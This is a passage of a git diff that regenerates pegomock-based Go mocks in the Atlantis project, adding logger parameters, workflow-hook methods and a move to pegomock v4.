make([]models.VCSHostType, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.VCSHostType) + } } } return diff --git a/server/events/mocks/mock_commit_status_updater.go b/server/events/mocks/mock_commit_status_updater.go index b811c9d9ea..764ac85059 100644 --- a/server/events/mocks/mock_commit_status_updater.go +++ b/server/events/mocks/mock_commit_status_updater.go @@ -4,8 +4,10 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) @@ -25,49 +27,64 @@ func NewMockCommitStatusUpdater(options ...pegomock.Option) *MockCommitStatusUpd func (mock *MockCommitStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommitStatusUpdater) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockCommitStatusUpdater) UpdateCombined(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName) error { +func (mock *MockCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } - params := []pegomock.Param{repo, pull, status, command} - result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateCombined", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, repo, pull, status, cmdName} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateCombined", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } -func (mock *MockCommitStatusUpdater) UpdateCombinedCount(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName, numSuccess int, numTotal int) error { +func (mock *MockCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } - params := []pegomock.Param{repo, pull, status, command, numSuccess, numTotal} - result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateCombinedCount", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, repo, pull, status, cmdName, numSuccess, numTotal} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateCombinedCount", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } -func (mock *MockCommitStatusUpdater) UpdateProject(ctx models.ProjectCommandContext, cmdName models.CommandName, status models.CommitStatus, url string) error { +func (mock *MockCommitStatusUpdater) UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } - params := []pegomock.Param{ctx, cmdName, status, url} - result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateProject", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdatePostWorkflowHook", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 +} + +func (mock *MockCommitStatusUpdater) UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") + } + _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdatePreWorkflowHook", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 } func (mock *MockCommitStatusUpdater) VerifyWasCalledOnce() *VerifierMockCommitStatusUpdater { @@ -77,14 +94,14 @@ func (mock *MockCommitStatusUpdater) VerifyWasCalledOnce() *VerifierMockCommitSt } } -func (mock *MockCommitStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockCommitStatusUpdater { +func (mock *MockCommitStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockCommitStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommitStatusUpdater { +func (mock *MockCommitStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -92,7 +109,7 @@ func (mock *MockCommitStatusUpdater) VerifyWasCalledInOrder(invocationCountMatch } } -func (mock *MockCommitStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockCommitStatusUpdater { +func (mock *MockCommitStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -102,14 +119,14 @@ func (mock *MockCommitStatusUpdater) VerifyWasCalledEventually(invocationCountMa type VerifierMockCommitStatusUpdater struct { mock *MockCommitStatusUpdater - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockCommitStatusUpdater) UpdateCombined(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName) *MockCommitStatusUpdater_UpdateCombined_OngoingVerification { - params := []pegomock.Param{repo, pull, status, command} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateCombined", params, verifier.timeout) +func (verifier *VerifierMockCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) *MockCommitStatusUpdater_UpdateCombined_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull, status, cmdName} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateCombined", _params, verifier.timeout) return &MockCommitStatusUpdater_UpdateCombined_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -118,37 +135,51 @@ type MockCommitStatusUpdater_UpdateCombined_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, models.CommitStatus, models.CommandName) { - repo, pull, status, command := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], command[len(command)-1] +func (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, command.Name) { + logger, repo, pull, status, cmdName := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], cmdName[len(cmdName)-1] } -func (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []models.CommandName) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []command.Name) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param2 = make([]models.CommitStatus, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.CommitStatus) + if len(_params) > 3 { + _param3 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.CommitStatus) + } } - _param3 = make([]models.CommandName, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(models.CommandName) + if len(_params) > 4 { + _param4 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(command.Name) + } } } return } -func (verifier *VerifierMockCommitStatusUpdater) UpdateCombinedCount(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName, numSuccess int, numTotal int) *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification { - params := []pegomock.Param{repo, pull, status, command, numSuccess, numTotal} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateCombinedCount", params, verifier.timeout) +func (verifier *VerifierMockCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull, status, cmdName, numSuccess, numTotal} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateCombinedCount", _params, verifier.timeout) return &MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -157,76 +188,173 @@ type MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, models.CommitStatus, models.CommandName, int, int) { - repo, pull, status, command, numSuccess, numTotal := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], command[len(command)-1], numSuccess[len(numSuccess)-1], numTotal[len(numTotal)-1] +func (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, command.Name, int, int) { + logger, repo, pull, status, cmdName, numSuccess, numTotal := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], cmdName[len(cmdName)-1], numSuccess[len(numSuccess)-1], numTotal[len(numTotal)-1] } -func (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []models.CommandName, _param4 []int, _param5 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []command.Name, _param5 []int, _param6 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param2 = make([]models.CommitStatus, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.CommitStatus) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param3 = make([]models.CommandName, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(models.CommandName) + if len(_params) > 3 { + _param3 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.CommitStatus) + } } - _param4 = make([]int, len(c.methodInvocations)) - for u, param := range params[4] { - _param4[u] = param.(int) + if len(_params) > 4 { + _param4 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(command.Name) + } } - _param5 = make([]int, len(c.methodInvocations)) - for u, param := range params[5] { - _param5[u] = param.(int) + if len(_params) > 5 { + _param5 = make([]int, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(int) + } + } + if len(_params) > 6 { + _param6 = make([]int, len(c.methodInvocations)) + for u, param := range _params[6] { + _param6[u] = param.(int) + } } } return } -func (verifier *VerifierMockCommitStatusUpdater) UpdateProject(ctx models.ProjectCommandContext, cmdName models.CommandName, status models.CommitStatus, url string) *MockCommitStatusUpdater_UpdateProject_OngoingVerification { - params := []pegomock.Param{ctx, cmdName, status, url} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateProject", params, verifier.timeout) - return &MockCommitStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockCommitStatusUpdater) UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification { + _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdatePostWorkflowHook", _params, verifier.timeout) + return &MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockCommitStatusUpdater_UpdateProject_OngoingVerification struct { +type MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification struct { mock *MockCommitStatusUpdater methodInvocations []pegomock.MethodInvocation } -func (c *MockCommitStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (models.ProjectCommandContext, models.CommandName, models.CommitStatus, string) { - ctx, cmdName, status, url := c.GetAllCapturedArguments() - return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1] +func (c *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.CommitStatus, string, string, string) { + logger, pull, status, hookDescription, runtimeDescription, url := c.GetAllCapturedArguments() + return logger[len(logger)-1], pull[len(pull)-1], status[len(status)-1], hookDescription[len(hookDescription)-1], runtimeDescription[len(runtimeDescription)-1], url[len(url)-1] } -func (c *MockCommitStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectCommandContext, _param1 []models.CommandName, _param2 []models.CommitStatus, _param3 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectCommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectCommandContext) +func (c *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + if len(_params) > 2 { + _param2 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.CommitStatus) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + if len(_params) > 5 { + _param5 = make([]string, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockCommitStatusUpdater) UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification { + _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdatePreWorkflowHook", _params, verifier.timeout) + return &MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification struct { + mock *MockCommitStatusUpdater + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.CommitStatus, string, string, string) { + logger, pull, status, hookDescription, runtimeDescription, url := c.GetAllCapturedArguments() + return logger[len(logger)-1], pull[len(pull)-1], status[len(status)-1], hookDescription[len(hookDescription)-1], runtimeDescription[len(runtimeDescription)-1], url[len(url)-1] +} + +func (c *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + if len(_params) > 2 { + _param2 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.CommitStatus) + } } - _param1 = make([]models.CommandName, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.CommandName) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } - _param2 = make([]models.CommitStatus, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.CommitStatus) + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + if len(_params) > 5 { + _param5 = make([]string, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(string) + } } } return diff --git a/server/events/mocks/mock_custom_step_runner.go b/server/events/mocks/mock_custom_step_runner.go index 83d37e02ad..cab3dab109 100644 --- a/server/events/mocks/mock_custom_step_runner.go +++ b/server/events/mocks/mock_custom_step_runner.go @@ -4,8 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" + pegomock "github.com/petergtz/pegomock/v4" + valid "github.com/runatlantis/atlantis/server/core/config/valid" + command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) @@ -25,23 +26,23 @@ func NewMockCustomStepRunner(options ...pegomock.Option) *MockCustomStepRunner { func (mock *MockCustomStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCustomStepRunner) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockCustomStepRunner) Run(ctx models.ProjectCommandContext, cmd string, path string, envs map[string]string) (string, error) { +func (mock *MockCustomStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput valid.PostProcessRunOutputOption) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCustomStepRunner().") } - params := []pegomock.Param{ctx, cmd, path, envs} - result := pegomock.GetGenericMockFrom(mock).Invoke("Run", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{ctx, shell, cmd, path, envs, streamOutput, postProcessOutput} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockCustomStepRunner) VerifyWasCalledOnce() *VerifierMockCustomStepRunner { @@ -51,14 +52,14 @@ func (mock *MockCustomStepRunner) VerifyWasCalledOnce() *VerifierMockCustomStepR } } -func (mock *MockCustomStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockCustomStepRunner { +func (mock *MockCustomStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockCustomStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCustomStepRunner { +func (mock *MockCustomStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -66,7 +67,7 @@ func (mock *MockCustomStepRunner) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockCustomStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockCustomStepRunner { +func (mock *MockCustomStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -76,14 +77,14 @@ func (mock *MockCustomStepRunner) VerifyWasCalledEventually(invocationCountMatch type VerifierMockCustomStepRunner struct { mock *MockCustomStepRunner - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockCustomStepRunner) Run(ctx models.ProjectCommandContext, cmd string, path string, envs map[string]string) *MockCustomStepRunner_Run_OngoingVerification { - params := []pegomock.Param{ctx, cmd, path, envs} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", params, verifier.timeout) +func (verifier *VerifierMockCustomStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput valid.PostProcessRunOutputOption) *MockCustomStepRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, shell, cmd, path, envs, streamOutput, postProcessOutput} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockCustomStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -92,29 +93,55 @@ type MockCustomStepRunner_Run_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockCustomStepRunner_Run_OngoingVerification) GetCapturedArguments() (models.ProjectCommandContext, string, string, map[string]string) { - ctx, cmd, path, envs := c.GetAllCapturedArguments() - return ctx[len(ctx)-1], cmd[len(cmd)-1], path[len(path)-1], envs[len(envs)-1] +func (c *MockCustomStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, *valid.CommandShell, string, string, map[string]string, bool, valid.PostProcessRunOutputOption) { + ctx, shell, cmd, path, envs, streamOutput, postProcessOutput := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], shell[len(shell)-1], cmd[len(cmd)-1], path[len(path)-1], envs[len(envs)-1], streamOutput[len(streamOutput)-1], postProcessOutput[len(postProcessOutput)-1] } -func (c *MockCustomStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectCommandContext, _param1 []string, _param2 []string, _param3 []map[string]string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectCommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectCommandContext) +func (c *MockCustomStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []*valid.CommandShell, _param2 []string, _param3 []string, _param4 []map[string]string, _param5 []bool, _param6 []valid.PostProcessRunOutputOption) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) + if len(_params) > 1 { + _param1 = make([]*valid.CommandShell, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*valid.CommandShell) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } - _param3 = make([]map[string]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(map[string]string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(map[string]string) + } + } + if len(_params) > 5 { + _param5 = make([]bool, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(bool) + } + } + if len(_params) > 6 { + _param6 = make([]valid.PostProcessRunOutputOption, len(c.methodInvocations)) + for u, param := range _params[6] { + _param6[u] = param.(valid.PostProcessRunOutputOption) + } } } return diff --git a/server/events/mocks/mock_delete_lock_command.go b/server/events/mocks/mock_delete_lock_command.go index a6664300d0..b9e409f594 100644 --- a/server/events/mocks/mock_delete_lock_command.go +++ b/server/events/mocks/mock_delete_lock_command.go @@ -4,8 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) @@ -25,38 +26,42 @@ func NewMockDeleteLockCommand(options ...pegomock.Option) *MockDeleteLockCommand func (mock *MockDeleteLockCommand) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockDeleteLockCommand) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockDeleteLockCommand) DeleteLock(id string) (*models.ProjectLock, error) { +func (mock *MockDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockDeleteLockCommand().") } - params := []pegomock.Param{id} - result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteLock", params, 